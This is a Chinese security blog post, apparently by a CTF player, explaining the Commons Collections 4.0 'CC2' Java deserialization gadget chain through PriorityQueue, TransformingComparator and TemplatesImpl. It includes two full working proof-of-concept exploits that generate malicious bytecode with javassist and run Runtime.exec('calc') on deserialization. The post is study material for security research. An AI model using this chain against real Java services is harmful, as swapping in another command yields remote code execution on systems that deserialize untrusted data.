JAVA反序列化漏洞-CC2链

发布于 2024-08-14  679 次阅读


CC2链

前文:利用TemplatesImpl动态加载字节码
链子对应版本:Common Collection 4.0
pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>untitled10</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.22.0-GA</version>
        </dependency>
    </dependencies>

</project>

链子有两种实现方式,第二种是基于ysoserial的实现方式做的,用到了javassist依赖,用于生成恶意类的字节码,也可以不装这个依赖,手动编译恶意类然后读取其字节码,效果一样。
javassist生成任意类的字节码的简单演示(比较简单,网上复制的):

//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//向pool容器类搜索路径的起始位置插入AbstractTranslet.class
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//新建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名,生成的类的名称就不再是Cat
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//设置AbstractTranslet类为该类的父类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//将该类转换为字节数组
byte[] classBytes = cc.toBytecode();
//将一维数组classBytes放到二维数组targetByteCodes的第一个元素

链子一

链子的终点和CC1链一样,仍然是InvokeTransformer的transform方法实现任意类任意方法执行
还是查找transform方法的执行点,在TransformComparator中有个compare方法:
image_mak
根据CC1链,我们需要让transform的主体也就是属性transformer是CC1链中我们的那个ChainedTransformer对象
看到TransformComparator的构造方法:
image_mak
可以直接用new构造赋值。
因此直接使用

Class runtimeClass = Runtime.class;
Transformer[] transes = new Transformer[]{new ConstantTransformer(runtimeClass),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
ChainedTransformer chtfm = new ChainedTransformer(transes);
//        chtfm.transform(runtimeClass);
TransformingComparator tc = new TransformingComparator(chtfm);

就获得我们想要的TransformingComparator对象
继续往下找,compare方法在JAVA的优先级队列类PriorityQueue中有实现:
image_mak
而PriorityQueue的readObject方法正好会用到这个compare。找到readObject方法:
image_mak
跟进最后一行的heapify方法:
image_mak
跟进siftDown方法:
image_mak
跟进siftDownUsingComparator方法:
image_mak
这里就跟到了compare方法

而对于属性queue,看到writeObject方法:
image_mak
会遍历queue进行writeObject,对应的readObject依次读入queue的各个对象,并检查queue是否符合writeObject时的数量。
这样整个链子就完结了。

至于参数,由于我们直接使用CC1链中以ConstantTransformer开头的ChainedTransformer链式调用transform的方法,就不用关心给到transform的参数是什么了(ConstantTransformer固定返回我们想要的对象,给第二个transform作为参数)

只需要让comparator属性为我们构造的的tc就行了,同样这也直接在构造方法里就可以赋值
image_mak

构造PriorityQueue对象之后,我们这里使用add方法对queue进行赋值,确保前面这些方法在能够正常对queue遍历即可

PriorityQueue pq = new PriorityQueue(tc);

pq.add(1);
pq.add(2);

但是这样会出现问题。
跟进add方法:
image_mak
跟进offer:
image_mak
跟进siftUp:
image_mak
这里也用到了siftUpUsingComparator方法,这会在序列化数据之前就执行我们的恶意命令
这是无所谓的,问题关键在于compare方法中,在命令执行后会抛出一个异常
image_mak
这会导致我们构造序列化数据的过程直接中断。
这是因为这一句
image_mak
我们在构造TransformingComparator对象的时候,用的是这个构造方法
image_mak
于是就会跟进调用这个重载的构造方法
image_mak
因此decorated属性被设置为ComparatorUtils.NATURAL_COMPARATOR
跟进这个ComparatorUtils看看
image_mak
那么跟进看看ComparableComparator.comparableComparator()静态方法
image_mak
再跟进到当前类的INSTANCE
image_mak
到这里指向了最终的对象,也就是说执行了ComparableComparator的compare方法,给的两个参数是transform方法返回的结果
继续跟进到ComparableComparator的compare方法
image_mak
参数类型要求的是泛型E,而E在类中的声明是:
image_mak
这要求参数必须是实现了Comparable接口的类型。而我们transform执行的是exec方法,显然返回的对象类型java.lang.Process没有实现这个接口,因此就报错了

解决的办法有很多,一种是在构造PriorityQueue用数字做参数,这样走的就是这个构造器
image_mak
comparator为null,这样执行siftUp和siftDown的时候就会走else分支,执行siftUpComparable
image_mak
这个方法没有compare,处理正常数据就不会报错。
在add数据之后,通过反射把PriorityQueue对象的comparator设置成我们的tc,就拿到了我们最终想要序列化的PriorityQueue对象了
POC:

public class Main {
    public static void serialize(Object o) throws Exception{
        ObjectOutputStream objout = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        objout.writeObject(o);
    }

    public static void unserialize() throws Exception{
        ObjectInputStream objinp = new ObjectInputStream(new FileInputStream("ser.txt"));
        objinp.readObject();
    }
    public static void main(String[] args) throws Exception{
        //链子1
        Class runtimeClass = Runtime.class;
        Transformer[] transes = new Transformer[]{new ConstantTransformer(runtimeClass),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
        ChainedTransformer chtfm = new ChainedTransformer(transes);
    //        chtfm.transform(runtimeClass);
        TransformingComparator tc = new TransformingComparator(chtfm);
        tc.compare(runtimeClass,runtimeClass);
    //
        PriorityQueue pq = new PriorityQueue(1);//创建无comparator的PriorityQueue

        pq.add(1);
        pq.add(2);
        Field cp = PriorityQueue.class.getDeclaredField("comparator");//通过反射设置comparator
        cp.setAccessible(true);
        cp.set(pq,tc);
        serialize(pq);
        unserialize();
    }}

运行,成功弹出两个计算器(因为一次compare进行了两次transform),并出现预期的报错
image_mak

链子二

其实是一个链子,只是实现方法不一样,在ysoserial中CC2链子使用的是templatesImpl动态加载字节码的函数,最终实现exec
也就是说我们最终想实现的代码是:

TemplatesImpl tempobj = new TemplatesImpl();
setValue(tempobj,"_name","123");
setValue(tempobj,"_bytecodes",generateByteCode());
setValue(tempobj,"_tfactory",new TransformerFactoryImpl());
InvokerTransformer ivt = new InvokerTransformer("newTransformer", null, null);

ivt.transform(tempobj)

(TemplatesImpl的newTransformer最终是能跟到defineClass的)
其中generateByteCode方法,使用javassist返回首元素是恶意类的字节码的二维byte数组:

public static byte[][] generateByteCode() throws Exception{ //返回恶意类的字节码的二维byte数组,该类在加载时即执行恶意的静态代码块
    ClassPool cp = ClassPool.getDefault();
    cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
    CtClass cc = cp.makeClass("evil");
    String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
    cc.makeClassInitializer().insertBefore(cmd);
    cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
    byte[][] evilbyte = new byte[][]{cc.toBytecode()};
    return evilbyte;

}

除此之外,实现方式还略有不同,一是因为templatesImpl和Runtime不一样,它是一个可序列化的类,二是因为CC2链传给transform的参数是可控的(和CC1不一样),因此这里没有用到ChainedTransformer和ConstantTransformer而是直接将templatesImpl对象作为参数传给了InvokeTransformer的transform

看看参数是怎么传递的
直接看最后的siftDownUsingComparator,compare拿到的参数c和queue[right]就是直接从queue中取得的对象。
image_mak
而compare方法中,拿到的两个参数obj1和obj2都是transform方法的参数
image_mak
因此只要让我们的PriorityQueue对象的queue数组是两个我们的tempobj就可以了

这里换一种方式解决序列化时候报错的问题,用反射而非add设置我们的queue属性。由于不是add,我们还需要设置好数组大小size属性,不然size为0,走到这里就会终止:
image_mak

Field qf_queue = PriorityQueue.class.getDeclaredField("queue");
qf_queue.setAccessible(true);
qf_queue.set(pq,new Object[]{tempobj,tempobj});

Field qf_size = PriorityQueue.class.getDeclaredField("size");
qf_size.setAccessible(true);
qf_size.set(pq,2);

完整POC:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

//TIP To <b>Run</b> code, press <shortcut actionId="Run"/> or
// click the <icon src="AllIcons.Actions.Execute"/> icon in the gutter.
public class Main {
    public static void serialize(Object o) throws Exception{
        ObjectOutputStream objout = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        objout.writeObject(o);
    }

    public static void unserialize() throws Exception{
        ObjectInputStream objinp = new ObjectInputStream(new FileInputStream("ser.txt"));
        objinp.readObject();
    }
    public static byte[][] generateByteCode() throws Exception{ //返回恶意类的字节码的二维byte数组,该类在加载时即执行恶意的静态代码块
        ClassPool cp = ClassPool.getDefault();
        cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = cp.makeClass("evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
        byte[][] evilbyte = new byte[][]{cc.toBytecode()};
        return evilbyte;

    }
    public static <T> void setValue(TemplatesImpl obj, String fname, T newf) throws Exception {
        Field filed = TemplatesImpl.class.getDeclaredField(fname);
        filed.setAccessible(true);
        filed.set(obj,newf);
    }//利用反射设置TemplatesImpl的私有属性

    public static void main(String[] args) throws Exception{
        //链子1
//        Class runtimeClass = Runtime.class;
//        Transformer[] transes = new Transformer[]{new ConstantTransformer(runtimeClass),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
//        ChainedTransformer chtfm = new ChainedTransformer(transes);
////        chtfm.transform(runtimeClass);
//        TransformingComparator tc = new TransformingComparator(chtfm);
//        tc.compare(runtimeClass,runtimeClass);
////
//        PriorityQueue pq = new PriorityQueue(1);
//
//        pq.add(1);
//        pq.add(2);
//        Field cp = PriorityQueue.class.getDeclaredField("comparator");
//        cp.setAccessible(true);
//        cp.set(pq,tc);
//        serialize(pq);
//        unserialize();

        //链子2
        TemplatesImpl tempobj = new TemplatesImpl();
        setValue(tempobj,"_name","123");
        setValue(tempobj,"_bytecodes",generateByteCode());
        setValue(tempobj,"_tfactory",new TransformerFactoryImpl());
        InvokerTransformer ivt = new InvokerTransformer("newTransformer", null, null);

//                ivt.transform(tempobj);
        //        PriorityQueue pq = new PriorityQueue();
//        Field cp = PriorityQueue.class.getDeclaredField("comparator");
//        cp.setAccessible(true);
//        cp.set(pq,ivt);

        TransformingComparator tc = new TransformingComparator(ivt);
        PriorityQueue pq = new PriorityQueue(tc);

        Field qf_queue = PriorityQueue.class.getDeclaredField("queue");
        qf_queue.setAccessible(true);
        qf_queue.set(pq,new Object[]{tempobj,tempobj});

        Field qf_size = PriorityQueue.class.getDeclaredField("size");
        qf_size.setAccessible(true);
        qf_size.set(pq,2);

        serialize(pq);
        unserialize();

    }
}

运行,成功弹计算器
image_mak
梳理下链子:

PriorityQueue.readObject ->
PriorityQueue.heapify ->
PriorityQueue.siftDown ->
PriorityQueue.siftDownUsingComparator ->

    TransformingComparator.compare ->
    InvokerTransformer.transform ->

        TemplatesImpl.newTransformer ->
        TemplatesImpl.getTransletInstance ->
        TemplatesImpl.defineTransletClasses ->

            ClassLoader.defineClass
A web ctfer from 0RAYS
最后更新于 2024-08-24